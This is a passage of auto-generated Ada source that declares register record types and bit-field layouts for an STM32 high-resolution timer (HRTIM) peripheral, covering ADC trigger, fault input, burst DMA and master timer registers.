AD2TBC : ADC2R_AD2TBC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 2 on Timer B Period
AD2TBPER : Boolean := False;
-- ADC trigger 2 on Timer C compare 2
AD2TCC : ADC2R_AD2TCC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 2 on Timer C Period
AD2TCPER : Boolean := False;
-- ADC trigger 2 on Timer C Reset
AD2TCRST : Boolean := False;
-- ADC trigger 2 on Timer D compare 2
AD2TDC : ADC2R_AD2TDC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 2 on Timer D Period
AD2TDPER : Boolean := False;
-- ADC trigger 2 on Timer D Reset
AD2TDRST : Boolean := False;
-- ADC trigger 2 on Timer E compare 2
AD2TEC : ADC2R_AD2TEC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 2 on Timer E Reset
AD2TERST : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ADC2R_Register use record
AD2MC at 0 range 0 .. 3;
AD2MPER at 0 range 4 .. 4;
AD2EEV at 0 range 5 .. 9;
AD2TAC at 0 range 10 .. 12;
AD2TAPER at 0 range 13 .. 13;
AD2TBC at 0 range 14 .. 16;
AD2TBPER at 0 range 17 .. 17;
AD2TCC at 0 range 18 .. 20;
AD2TCPER at 0 range 21 .. 21;
AD2TCRST at 0 range 22 .. 22;
AD2TDC at 0 range 23 .. 25;
AD2TDPER at 0 range 26 .. 26;
AD2TDRST at 0 range 27 .. 27;
AD2TEC at 0 range 28 .. 30;
AD2TERST at 0 range 31 .. 31;
end record;
-- ADC3R_AD1MC array
type ADC3R_AD1MC_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for ADC3R_AD1MC
type ADC3R_AD1MC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1MC as a value
Val : HAL.UInt4;
when True =>
-- AD1MC as an array
Arr : ADC3R_AD1MC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for ADC3R_AD1MC_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- ADC3R_AD1EEV array
type ADC3R_AD1EEV_Field_Array is array (1 .. 5) of Boolean
with Component_Size => 1, Size => 5;
-- Type definition for ADC3R_AD1EEV
type ADC3R_AD1EEV_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1EEV as a value
Val : HAL.UInt5;
when True =>
-- AD1EEV as an array
Arr : ADC3R_AD1EEV_Field_Array;
end case;
end record
with Unchecked_Union, Size => 5;
for ADC3R_AD1EEV_Field use record
Val at 0 range 0 .. 4;
Arr at 0 range 0 .. 4;
end record;
-- ADC3R_AD1TAC array
type ADC3R_AD1TAC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC3R_AD1TAC
type ADC3R_AD1TAC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1TAC as a value
Val : HAL.UInt3;
when True =>
-- AD1TAC as an array
Arr : ADC3R_AD1TAC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC3R_AD1TAC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC3R_AD1TBC array
type ADC3R_AD1TBC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC3R_AD1TBC
type ADC3R_AD1TBC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1TBC as a value
Val : HAL.UInt3;
when True =>
-- AD1TBC as an array
Arr : ADC3R_AD1TBC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC3R_AD1TBC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC3R_AD1TCC array
type ADC3R_AD1TCC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC3R_AD1TCC
type ADC3R_AD1TCC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1TCC as a value
Val : HAL.UInt3;
when True =>
-- AD1TCC as an array
Arr : ADC3R_AD1TCC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC3R_AD1TCC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC3R_AD1TDC array
type ADC3R_AD1TDC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC3R_AD1TDC
type ADC3R_AD1TDC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1TDC as a value
Val : HAL.UInt3;
when True =>
-- AD1TDC as an array
Arr : ADC3R_AD1TDC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC3R_AD1TDC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC3R_AD1TEC array
type ADC3R_AD1TEC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC3R_AD1TEC
type ADC3R_AD1TEC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1TEC as a value
Val : HAL.UInt3;
when True =>
-- AD1TEC as an array
Arr : ADC3R_AD1TEC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC3R_AD1TEC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC Trigger 3 Register
type ADC3R_Register is record
-- AD1MC1
AD1MC : ADC3R_AD1MC_Field := (As_Array => False, Val => 16#0#);
-- AD1MPER
AD1MPER : Boolean := False;
-- AD1EEV1
AD1EEV : ADC3R_AD1EEV_Field := (As_Array => False, Val => 16#0#);
-- AD1TAC2
AD1TAC : ADC3R_AD1TAC_Field := (As_Array => False, Val => 16#0#);
-- AD1TAPER
AD1TAPER : Boolean := False;
-- AD1TARST
AD1TARST : Boolean := False;
-- AD1TBC2
AD1TBC : ADC3R_AD1TBC_Field := (As_Array => False, Val => 16#0#);
-- AD1TBPER
AD1TBPER : Boolean := False;
-- AD1TBRST
AD1TBRST : Boolean := False;
-- AD1TCC2
AD1TCC : ADC3R_AD1TCC_Field := (As_Array => False, Val => 16#0#);
-- AD1TCPER
AD1TCPER : Boolean := False;
-- AD1TDC2
AD1TDC : ADC3R_AD1TDC_Field := (As_Array => False, Val => 16#0#);
-- AD1TDPER
AD1TDPER : Boolean := False;
-- AD1TEC2
AD1TEC : ADC3R_AD1TEC_Field := (As_Array => False, Val => 16#0#);
-- AD1TEPER
AD1TEPER : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ADC3R_Register use record
AD1MC at 0 range 0 .. 3;
AD1MPER at 0 range 4 .. 4;
AD1EEV at 0 range 5 .. 9;
AD1TAC at 0 range 10 .. 12;
AD1TAPER at 0 range 13 .. 13;
AD1TARST at 0 range 14 .. 14;
AD1TBC at 0 range 15 .. 17;
AD1TBPER at 0 range 18 .. 18;
AD1TBRST at 0 range 19 .. 19;
AD1TCC at 0 range 20 .. 22;
AD1TCPER at 0 range 23 .. 23;
AD1TDC at 0 range 24 .. 26;
AD1TDPER at 0 range 27 .. 27;
AD1TEC at 0 range 28 .. 30;
AD1TEPER at 0 range 31 .. 31;
end record;
-- ADC4R_AD2MC array
type ADC4R_AD2MC_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for ADC4R_AD2MC
type ADC4R_AD2MC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2MC as a value
Val : HAL.UInt4;
when True =>
-- AD2MC as an array
Arr : ADC4R_AD2MC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for ADC4R_AD2MC_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- ADC4R_AD2EEV array
type ADC4R_AD2EEV_Field_Array is array (6 .. 10) of Boolean
with Component_Size => 1, Size => 5;
-- Type definition for ADC4R_AD2EEV
type ADC4R_AD2EEV_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2EEV as a value
Val : HAL.UInt5;
when True =>
-- AD2EEV as an array
Arr : ADC4R_AD2EEV_Field_Array;
end case;
end record
with Unchecked_Union, Size => 5;
for ADC4R_AD2EEV_Field use record
Val at 0 range 0 .. 4;
Arr at 0 range 0 .. 4;
end record;
-- ADC4R_AD2TAC array
type ADC4R_AD2TAC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC4R_AD2TAC
type ADC4R_AD2TAC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2TAC as a value
Val : HAL.UInt3;
when True =>
-- AD2TAC as an array
Arr : ADC4R_AD2TAC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC4R_AD2TAC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC4R_AD2TBC array
type ADC4R_AD2TBC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC4R_AD2TBC
type ADC4R_AD2TBC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2TBC as a value
Val : HAL.UInt3;
when True =>
-- AD2TBC as an array
Arr : ADC4R_AD2TBC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC4R_AD2TBC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC4R_AD2TCC array
type ADC4R_AD2TCC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC4R_AD2TCC
type ADC4R_AD2TCC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2TCC as a value
Val : HAL.UInt3;
when True =>
-- AD2TCC as an array
Arr : ADC4R_AD2TCC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC4R_AD2TCC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC4R_AD2TDC array
type ADC4R_AD2TDC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC4R_AD2TDC
type ADC4R_AD2TDC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2TDC as a value
Val : HAL.UInt3;
when True =>
-- AD2TDC as an array
Arr : ADC4R_AD2TDC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC4R_AD2TDC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC4R_AD2TEC array
type ADC4R_AD2TEC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC4R_AD2TEC
type ADC4R_AD2TEC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2TEC as a value
Val : HAL.UInt3;
when True =>
-- AD2TEC as an array
Arr : ADC4R_AD2TEC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC4R_AD2TEC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC Trigger 4 Register
type ADC4R_Register is record
-- AD2MC1
AD2MC : ADC4R_AD2MC_Field := (As_Array => False, Val => 16#0#);
-- AD2MPER
AD2MPER : Boolean := False;
-- AD2EEV6
AD2EEV : ADC4R_AD2EEV_Field := (As_Array => False, Val => 16#0#);
-- AD2TAC2
AD2TAC : ADC4R_AD2TAC_Field := (As_Array => False, Val => 16#0#);
-- AD2TAPER
AD2TAPER : Boolean := False;
-- AD2TBC2
AD2TBC : ADC4R_AD2TBC_Field := (As_Array => False, Val => 16#0#);
-- AD2TBPER
AD2TBPER : Boolean := False;
-- AD2TCC2
AD2TCC : ADC4R_AD2TCC_Field := (As_Array => False, Val => 16#0#);
-- AD2TCPER
AD2TCPER : Boolean := False;
-- AD2TCRST
AD2TCRST : Boolean := False;
-- AD2TDC2
AD2TDC : ADC4R_AD2TDC_Field := (As_Array => False, Val => 16#0#);
-- AD2TDPER
AD2TDPER : Boolean := False;
-- AD2TDRST
AD2TDRST : Boolean := False;
-- AD2TEC2
AD2TEC : ADC4R_AD2TEC_Field := (As_Array => False, Val => 16#0#);
-- AD2TERST
AD2TERST : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ADC4R_Register use record
AD2MC at 0 range 0 .. 3;
AD2MPER at 0 range 4 .. 4;
AD2EEV at 0 range 5 .. 9;
AD2TAC at 0 range 10 .. 12;
AD2TAPER at 0 range 13 .. 13;
AD2TBC at 0 range 14 .. 16;
AD2TBPER at 0 range 17 .. 17;
AD2TCC at 0 range 18 .. 20;
AD2TCPER at 0 range 21 .. 21;
AD2TCRST at 0 range 22 .. 22;
AD2TDC at 0 range 23 .. 25;
AD2TDPER at 0 range 26 .. 26;
AD2TDRST at 0 range 27 .. 27;
AD2TEC at 0 range 28 .. 30;
AD2TERST at 0 range 31 .. 31;
end record;
subtype DLLCR_CALRTE_Field is HAL.UInt2;
-- DLL Control Register
type DLLCR_Register is record
-- DLL Calibration Start
CAL : Boolean := False;
-- DLL Calibration Enable
CALEN : Boolean := False;
-- DLL Calibration rate
CALRTE : DLLCR_CALRTE_Field := 16#0#;
-- unspecified
Reserved_4_31 : HAL.UInt28 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for DLLCR_Register use record
CAL at 0 range 0 .. 0;
CALEN at 0 range 1 .. 1;
CALRTE at 0 range 2 .. 3;
Reserved_4_31 at 0 range 4 .. 31;
end record;
subtype FLTINR1_FLT1F_Field is HAL.UInt4;
subtype FLTINR1_FLT2F_Field is HAL.UInt4;
subtype FLTINR1_FLT3F_Field is HAL.UInt4;
subtype FLTINR1_FLT4F_Field is HAL.UInt4;
-- HRTIM Fault Input Register 1
type FLTINR1_Register is record
-- FLT1E
FLT1E : Boolean := False;
-- FLT1P
FLT1P : Boolean := False;
-- FLT1SRC
FLT1SRC : Boolean := False;
-- FLT1F
FLT1F : FLTINR1_FLT1F_Field := 16#0#;
-- FLT1LCK
FLT1LCK : Boolean := False;
-- FLT2E
FLT2E : Boolean := False;
-- FLT2P
FLT2P : Boolean := False;
-- FLT2SRC
FLT2SRC : Boolean := False;
-- FLT2F
FLT2F : FLTINR1_FLT2F_Field := 16#0#;
-- FLT2LCK
FLT2LCK : Boolean := False;
-- FLT3E
FLT3E : Boolean := False;
-- FLT3P
FLT3P : Boolean := False;
-- FLT3SRC
FLT3SRC : Boolean := False;
-- FLT3F
FLT3F : FLTINR1_FLT3F_Field := 16#0#;
-- FLT3LCK
FLT3LCK : Boolean := False;
-- FLT4E
FLT4E : Boolean := False;
-- FLT4P
FLT4P : Boolean := False;
-- FLT4SRC
FLT4SRC : Boolean := False;
-- FLT4F
FLT4F : FLTINR1_FLT4F_Field := 16#0#;
-- FLT4LCK
FLT4LCK : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FLTINR1_Register use record
FLT1E at 0 range 0 .. 0;
FLT1P at 0 range 1 .. 1;
FLT1SRC at 0 range 2 .. 2;
FLT1F at 0 range 3 .. 6;
FLT1LCK at 0 range 7 .. 7;
FLT2E at 0 range 8 .. 8;
FLT2P at 0 range 9 .. 9;
FLT2SRC at 0 range 10 .. 10;
FLT2F at 0 range 11 .. 14;
FLT2LCK at 0 range 15 .. 15;
FLT3E at 0 range 16 .. 16;
FLT3P at 0 range 17 .. 17;
FLT3SRC at 0 range 18 .. 18;
FLT3F at 0 range 19 .. 22;
FLT3LCK at 0 range 23 .. 23;
FLT4E at 0 range 24 .. 24;
FLT4P at 0 range 25 .. 25;
FLT4SRC at 0 range 26 .. 26;
FLT4F at 0 range 27 .. 30;
FLT4LCK at 0 range 31 .. 31;
end record;
subtype FLTINR2_FLT5F_Field is HAL.UInt4;
subtype FLTINR2_FLTSD_Field is HAL.UInt2;
-- HRTIM Fault Input Register 2
type FLTINR2_Register is record
-- FLT5E
FLT5E : Boolean := False;
-- FLT5P
FLT5P : Boolean := False;
-- FLT5SRC
FLT5SRC : Boolean := False;
-- FLT5F
FLT5F : FLTINR2_FLT5F_Field := 16#0#;
-- FLT5LCK
FLT5LCK : Boolean := False;
-- unspecified
Reserved_8_23 : HAL.UInt16 := 16#0#;
-- FLTSD
FLTSD : FLTINR2_FLTSD_Field := 16#0#;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FLTINR2_Register use record
FLT5E at 0 range 0 .. 0;
FLT5P at 0 range 1 .. 1;
FLT5SRC at 0 range 2 .. 2;
FLT5F at 0 range 3 .. 6;
FLT5LCK at 0 range 7 .. 7;
Reserved_8_23 at 0 range 8 .. 23;
FLTSD at 0 range 24 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
-- BDMUPDR_MCMP array
type BDMUPDR_MCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for BDMUPDR_MCMP
type BDMUPDR_MCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MCMP as a value
Val : HAL.UInt4;
when True =>
-- MCMP as an array
Arr : BDMUPDR_MCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for BDMUPDR_MCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- BDMUPDR
type BDMUPDR_Register is record
-- MCR
MCR : Boolean := False;
-- MICR
MICR : Boolean := False;
-- MDIER
MDIER : Boolean := False;
-- MCNT
MCNT : Boolean := False;
-- MPER
MPER : Boolean := False;
-- MREP
MREP : Boolean := False;
-- MCMP1
MCMP : BDMUPDR_MCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_10_31 : HAL.UInt22 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for BDMUPDR_Register use record
MCR at 0 range 0 .. 0;
MICR at 0 range 1 .. 1;
MDIER at 0 range 2 .. 2;
MCNT at 0 range 3 .. 3;
MPER at 0 range 4 .. 4;
MREP at 0 range 5 .. 5;
MCMP at 0 range 6 .. 9;
Reserved_10_31 at 0 range 10 .. 31;
end record;
-- BDTxUPR_TIMxCMP array
type BDTxUPR_TIMxCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for BDTxUPR_TIMxCMP
type BDTxUPR_TIMxCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMxCMP as a value
Val : HAL.UInt4;
when True =>
-- TIMxCMP as an array
Arr : BDTxUPR_TIMxCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for BDTxUPR_TIMxCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- BDTxUPR_TIMxEEFR array
type BDTxUPR_TIMxEEFR_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for BDTxUPR_TIMxEEFR
type BDTxUPR_TIMxEEFR_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMxEEFR as a value
Val : HAL.UInt2;
when True =>
-- TIMxEEFR as an array
Arr : BDTxUPR_TIMxEEFR_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for BDTxUPR_TIMxEEFR_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Burst DMA Timerx update Register
type BDTxUPR_Register is record
-- HRTIM_TIMxCR register update enable
TIMxCR : Boolean := False;
-- HRTIM_TIMxICR register update enable
TIMxICR : Boolean := False;
-- HRTIM_TIMxDIER register update enable
TIMxDIER : Boolean := False;
-- HRTIM_CNTxR register update enable
TIMxCNT : Boolean := False;
-- HRTIM_PERxR register update enable
TIMxPER : Boolean := False;
-- HRTIM_REPxR register update enable
TIMxREP : Boolean := False;
-- HRTIM_CMP1xR register update enable
TIMxCMP : BDTxUPR_TIMxCMP_Field :=
(As_Array => False, Val => 16#0#);
-- HRTIM_DTxR register update enable
TIMx_DTxR : Boolean := False;
-- HRTIM_SET1xR register update enable
TIMxSET1R : Boolean := False;
-- HRTIM_RST1xR register update enable
TIMxRST1R : Boolean := False;
-- HRTIM_SET2xR register update enable
TIMxSET2R : Boolean := False;
-- HRTIM_RST2xR register update enable
TIMxRST2R : Boolean := False;
-- HRTIM_EEFxR1 register update enable
TIMxEEFR : BDTxUPR_TIMxEEFR_Field :=
(As_Array => False, Val => 16#0#);
-- HRTIM_RSTxR register update enable
TIMxRSTR : Boolean := False;
-- HRTIM_CHPxR register update enable
TIMxCHPR : Boolean := False;
-- HRTIM_OUTxR register update enable
TIMxOUTR : Boolean := False;
-- HRTIM_FLTxR register update enable
TIMxFLTR : Boolean := False;
-- unspecified
Reserved_21_31 : HAL.UInt11 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for BDTxUPR_Register use record
TIMxCR at 0 range 0 .. 0;
TIMxICR at 0 range 1 .. 1;
TIMxDIER at 0 range 2 .. 2;
TIMxCNT at 0 range 3 .. 3;
TIMxPER at 0 range 4 .. 4;
TIMxREP at 0 range 5 .. 5;
TIMxCMP at 0 range 6 .. 9;
TIMx_DTxR at 0 range 10 .. 10;
TIMxSET1R at 0 range 11 .. 11;
TIMxRST1R at 0 range 12 .. 12;
TIMxSET2R at 0 range 13 .. 13;
TIMxRST2R at 0 range 14 .. 14;
TIMxEEFR at 0 range 15 .. 16;
TIMxRSTR at 0 range 17 .. 17;
TIMxCHPR at 0 range 18 .. 18;
TIMxOUTR at 0 range 19 .. 19;
TIMxFLTR at 0 range 20 .. 20;
Reserved_21_31 at 0 range 21 .. 31;
end record;
subtype MCR_CKPSC_Field is HAL.UInt3;
subtype MCR_SYNCIN_Field is HAL.UInt2;
subtype MCR_SYNCOUT_Field is HAL.UInt2;
subtype MCR_SYNCSRC_Field is HAL.UInt2;
subtype MCR_DACSYNC_Field is HAL.UInt2;
subtype MCR_BRSTDMA_Field is HAL.UInt2;
-- Master Timer Control Register
type MCR_Register is record
-- HRTIM Master Clock prescaler
CKPSC : MCR_CKPSC_Field := 16#0#;
-- Master Continuous mode
CONT : Boolean := False;
-- Master Re-triggerable mode
RETRIG : Boolean := False;
-- Half mode enable
HALF : Boolean := False;
-- unspecified
Reserved_6_7 : HAL.UInt2 := 16#0#;
-- ynchronization input
SYNCIN : MCR_SYNCIN_Field := 16#0#;
-- Synchronization Resets Master
SYNCRSTM : Boolean := False;
-- Synchronization Starts Master
SYNCSTRTM : Boolean := False;
-- Synchronization output
SYNCOUT : MCR_SYNCOUT_Field := 16#0#;
-- Synchronization source
SYNCSRC : MCR_SYNCSRC_Field := 16#0#;
-- Master Counter enable
MCEN : Boolean := False;
-- Timer A counter enable
TACEN : Boolean := False;
-- Timer B counter enable
TBCEN : Boolean := False;
-- Timer C counter enable
TCCEN : Boolean := False;
-- Timer D counter enable
TDCEN : Boolean := False;
-- Timer E counter enable
TECEN : Boolean := False;
-- unspecified
Reserved_22_24 : HAL.UInt3 := 16#0#;
-- AC Synchronization
DACSYNC : MCR_DACSYNC_Field := 16#0#;
-- Preload enable
PREEN : Boolean := False;
-- unspecified
Reserved_28_28 : HAL.Bit := 16#0#;
-- Master Timer Repetition update
MREPU : Boolean := False;
-- Burst DMA Update
BRSTDMA : MCR_BRSTDMA_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MCR_Register use record
CKPSC at 0 range 0 .. 2;
CONT at 0 range 3 .. 3;
RETRIG at 0 range 4 .. 4;
HALF at 0 range 5 .. 5;
Reserved_6_7 at 0 range 6 .. 7;
SYNCIN at 0 range 8 .. 9;
SYNCRSTM at 0 range 10 .. 10;
SYNCSTRTM at 0 range 11 .. 11;
SYNCOUT at 0 range 12 .. 13;
SYNCSRC at 0 range 14 .. 15;
MCEN at 0 range 16 .. 16;
TACEN at 0 range 17 .. 17;
TBCEN at 0 range 18 .. 18;
TCCEN at 0 range 19 .. 19;
TDCEN at 0 range 20 .. 20;
TECEN at 0 range 21 .. 21;
Reserved_22_24 at 0 range 22 .. 24;
DACSYNC at 0 range 25 .. 26;
PREEN at 0 range 27 .. 27;
Reserved_28_28 at 0 range 28 .. 28;
MREPU at 0 range 29 .. 29;
BRSTDMA at 0 range 30 .. 31;
end record;
-- MISR_MCMP array
type MISR_MCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for MISR_MCMP
type MISR_MCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MCMP as a value
Val : HAL.UInt4;
when True =>
-- MCMP as an array
Arr : MISR_MCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for MISR_MCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- Master Timer Interrupt Status Register
type MISR_Register is record
-- Read-only. Master Compare 1 Interrupt Flag
MCMP : MISR_MCMP_Field;
-- Read-only. Master Repetition Interrupt Flag
MREP : Boolean;
-- Read-only. Sync Input Interrupt Flag
SYNC : Boolean;
-- Read-only. Master Update Interrupt Flag
MUPD : Boolean;
-- unspecified
Reserved_7_31 : HAL.UInt25;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MISR_Register use record
MCMP at 0 range 0 .. 3;
MREP at 0 range 4 .. 4;
SYNC at 0 range 5 .. 5;
MUPD at 0 range 6 .. 6;
Reserved_7_31 at 0 range 7 .. 31;
end record;
-- Master Timer Interrupt Clear Register
type MICR_Register is record
-- Write-only. Master Compare 1 Interrupt flag clear
MCMP1C : Boolean := False;
-- Write-only. Master Compare 2 Interrupt flag clear
MCMP2C : Boolean := False;
-- Write-only. Master Compare 3 Interrupt flag clear
MCMP3C : Boolean := False;
-- Write-only. Master Compare 4 Interrupt flag clear
MCMP4C : Boolean := False;
-- Write-only. Repetition Interrupt flag clear
MREPC : Boolean := False;
-- Write-only. Sync Input Interrupt flag clear
SYNCC : Boolean := False;
-- Write-only. Master update Interrupt flag clear
MUPDC : Boolean := False;
-- unspecified
Reserved_7_31 : HAL.UInt25 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MICR_Register use record
MCMP1C at 0 range 0 .. 0;
MCMP2C at 0 range 1 .. 1;
MCMP3C at 0 range 2 .. 2;
MCMP4C at 0 range 3 .. 3;
MREPC at 0 range 4 .. 4;
SYNCC at 0 range 5 .. 5;
MUPDC at 0 range 6 .. 6;
Reserved_7_31 at 0 range 7 .. 31;
end record;
-- MDIER
type MDIER_Register is record
-- MCMP1IE
MCMP1IE : Boolean := False;
-- MCMP2IE
MCMP2IE : Boolean := False;
-- MCMP3IE
MCMP3IE : Boolean := False;
-- MCMP4IE
MCMP4IE : Boolean := False;
-- MREPIE
MREPIE : Boolean := False;
-- SYNCIE
SYNCIE : Boolean := False;
-- MUPDIE
MUPDIE : Boolean := False;
-- unspecified
Reserved_7_15 : HAL.UInt9 := 16#0#;
-- MCMP1DE
MCMP1DE : Boolean := False;
-- MCMP2DE
MCMP2DE : Boolean := False;
-- MCMP3DE
MCMP3DE : Boolean := False;
-- MCMP4DE
MCMP4DE : Boolean := False;
-- MREPDE
MREPDE : Boolean := False;
-- SYNCDE
SYNCDE : Boolean := False;
-- MUPDDE
MUPDDE : Boolean := False;
-- unspecified
Reserved_23_31 : HAL.UInt9 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MDIER_Register use record
MCMP1IE at 0 range 0 .. 0;
MCMP2IE at 0 range 1 .. 1;
MCMP3IE at 0 range 2 .. 2;
MCMP4IE at 0 range 3 .. 3;
MREPIE at 0 range 4 .. 4;
SYNCIE at 0 range 5 .. 5;
MUPDIE at 0 range 6 .. 6;
Reserved_7_15 at 0 range 7 .. 15;
MCMP1DE at 0 range 16 .. 16;
MCMP2DE at 0 range 17 .. 17;
MCMP3DE at 0 range 18 .. 18;
MCMP4DE at 0 range 19 .. 19;
MREPDE at 0 range 20 .. 20;
SYNCDE at 0 range 21 .. 21;
MUPDDE at 0 range 22 .. 22;
Reserved_23_31 at 0 range 23 .. 31;
end record;
subtype MCNTR_MCNT_Field is HAL.UInt16;
-- Master Timer Counter Register
type MCNTR_Register is record
-- Counter value
MCNT : MCNTR_MCNT_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MCNTR_Register use record
MCNT at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype MPER_MPER_Field is HAL.UInt16;
-- Master Timer Period Register
type MPER_Register is record
-- Master Timer Period value
MPER : MPER_MPER_Field := 16#FFFF#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MPER_Register use record
MPER at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype MREP_MREP_Field is HAL.UInt8;
-- Master Timer Repetition Register
type MREP_Register is record
-- Master Timer Repetition counter value
MREP : MREP_MREP_Field := 16#0#;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MREP_Register use record
MREP at 0 range 0 .. 7;
